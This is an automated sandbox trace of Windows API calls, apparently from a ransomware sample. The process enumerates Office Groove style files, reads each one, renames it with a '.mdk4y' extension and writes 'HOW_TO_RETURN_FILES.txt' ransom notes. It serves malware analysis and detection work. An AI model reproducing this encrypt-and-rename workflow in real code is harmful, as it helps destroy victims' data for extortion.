[0220.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oasis.css", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Oasis.csss", lpUsedDefaultChar=0x37dd1c) returned 9 [0220.388] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829561800000) returned 1 [0220.388] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xfb0, lpOverlapped=0x0) returned 1 [0220.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829562000000) returned 1 [0220.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829562000000) returned 1 [0220.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Oasis.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\oasis.css.mdk4y")) returned 1 [0220.404] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.404] AreFileApisANSI () returned 1 [0220.404] GetACP () returned 0x4e4 [0220.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OliveGreen.css", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="OliveGreen.csss", lpUsedDefaultChar=0x37dd1c) returned 14 [0220.404] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829563500000) returned 1 [0220.405] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x74b, lpOverlapped=0x0) returned 1 [0220.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829564100000) returned 1 [0220.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829564100000) returned 1 [0220.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\OliveGreen.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\olivegreen.css.mdk4y")) returned 1 [0220.413] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.413] AreFileApisANSI () returned 1 [0220.413] GetACP () returned 0x4e4 [0220.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Premium.css", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Premium.csscss", lpUsedDefaultChar=0x37dd1c) returned 11 [0220.413] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829564400000) returned 1 [0220.414] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x706, lpOverlapped=0x0) returned 1 [0220.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829564800000) returned 1 [0220.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829564800000) returned 1 [0220.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Premium.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\premium.css.mdk4y")) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.420] AreFileApisANSI () returned 1 [0220.420] GetACP () returned 0x4e4 [0220.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slate", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Slateum.css", lpUsedDefaultChar=0x37dd1c) returned 5 [0220.420] AreFileApisANSI () returned 1 [0220.420] GetACP () returned 0x4e4 [0220.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=101, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\Ȁ") returned 101 [0220.420] AreFileApisANSI () returned 1 [0220.420] GetACP () returned 0x4e4 [0220.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.420] AreFileApisANSI () returned 1 [0220.420] GetACP () returned 0x4e4 [0220.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0220.420] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.420] AreFileApisANSI () returned 1 [0220.420] GetACP () returned 0x4e4 [0220.420] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0220.420] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829565100000) returned 1 [0220.421] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x16c, lpOverlapped=0x0) returned 1 [0220.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829565200000) returned 1 [0220.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829565200000) returned 1 [0220.423] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_off.gif.mdk4y")) returned 1 [0220.424] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.424] AreFileApisANSI () returned 1 [0220.424] GetACP () returned 0x4e4 [0220.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0220.424] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829565500000) returned 1 [0220.426] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x16c, lpOverlapped=0x0) returned 1 [0220.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829565600000) returned 1 [0220.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829565600000) returned 1 [0220.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\tab_on.gif.mdk4y")) returned 1 [0220.427] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0220.427] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0220.428] AreFileApisANSI () returned 1 [0220.428] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 125 [0220.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0220.430] GetFileType (hFile=0x134) returned 0x1 [0220.472] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.472] AreFileApisANSI () returned 1 [0220.472] GetACP () returned 0x4e4 [0220.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slate.css", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Slate.cssss", lpUsedDefaultChar=0x37dd1c) returned 9 [0220.473] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829570400000) returned 1 [0220.474] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x10d7, lpOverlapped=0x0) returned 1 [0220.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829570900000) returned 1 [0220.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829570900000) returned 1 [0220.479] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Slate.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slate.css.mdk4y")) returned 1 [0220.481] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.481] AreFileApisANSI () returned 1 [0220.481] GetACP () returned 0x4e4 [0220.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SlateBlue.css", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SlateBlue.csss", lpUsedDefaultChar=0x37dd1c) returned 13 [0220.481] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0220.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829571200000) returned 1 [0220.482] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x74a, lpOverlapped=0x0) returned 1 [0220.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829571600000) returned 1 [0220.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829571600000) returned 1 [0220.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SlateBlue.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\slateblue.css.mdk4y")) returned 1 [0220.487] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0220.487] AreFileApisANSI () returned 1 [0220.487] GetACP () returned 0x4e4 [0220.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SoftBlue", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SoftBluee.css", lpUsedDefaultChar=0x37dd1c) returned 8 [0220.487] AreFileApisANSI () returned 1 [0220.487] GetACP () returned 0x4e4 [0220.487] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=104, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\«꬀\x94") returned 104 [0220.487] AreFileApisANSI () returned 1 [0220.487] GetACP () returned 0x4e4 [0220.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0220.487] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.487] AreFileApisANSI () returned 1 [0220.487] GetACP () returned 0x4e4 [0220.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0220.488] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.488] AreFileApisANSI () returned 1 [0220.488] GetACP () returned 0x4e4 [0220.488] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dc90) returned 14 [0220.488] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829572100000) returned 1 [0220.491] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1afa, lpOverlapped=0x0) returned 1 [0220.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829572400000) returned 1 [0220.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829572400000) returned 1 [0220.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif.mdk4y")) returned 1 [0220.496] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.496] AreFileApisANSI () returned 1 [0220.496] GetACP () returned 0x4e4 [0220.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIFgif", lpUsedDefaultChar=0x37dc90) returned 11 [0220.496] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829572700000) returned 1 [0220.497] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0220.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829572800000) returned 1 [0220.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829572800000) returned 1 [0220.498] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_off.gif.mdk4y")) returned 1 [0220.499] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0220.499] AreFileApisANSI () returned 1 [0220.499] GetACP () returned 0x4e4 [0220.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0220.499] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0220.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829572900000) returned 1 [0220.500] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0220.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829573000000) returned 1 [0220.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829573000000) returned 1 [0220.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\tab_on.gif.mdk4y")) returned 1 [0220.511] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0220.511] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0220.511] AreFileApisANSI () returned 1 [0220.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 128 [0220.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0220.512] GetFileType (hFile=0x134) returned 0x1 [0220.513] FindNextFileW (in: 